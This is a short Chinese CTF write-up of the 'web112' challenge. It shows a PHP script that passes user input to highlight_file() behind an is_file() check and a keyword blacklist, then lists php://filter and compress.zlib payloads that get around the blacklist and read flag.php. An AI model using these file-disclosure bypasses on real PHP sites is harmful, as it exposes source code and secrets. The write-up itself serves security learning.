web112笔记(is_file()函数)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

is_file() 函数检查指定的文件名是否是正常的文件

filter() 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤

这里首先if语句里需要我们传入的不是文件类型才能执行highlight_file语句来读取flag文件,也就是一个绕过的考点,我们使用php伪协议即可,所以payload为

?file=php://filter/resource=flag.php
新的函数来啦,is_file(),函数检查指定的⽂件名是否是正常的⽂件
这⾥filter是定义的函数检查$file参数中是否带正则⾥的东⻄
 
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php



posted @ 2025-03-25 16:34  justdoIT*  阅读(10)  评论(0)    收藏  举报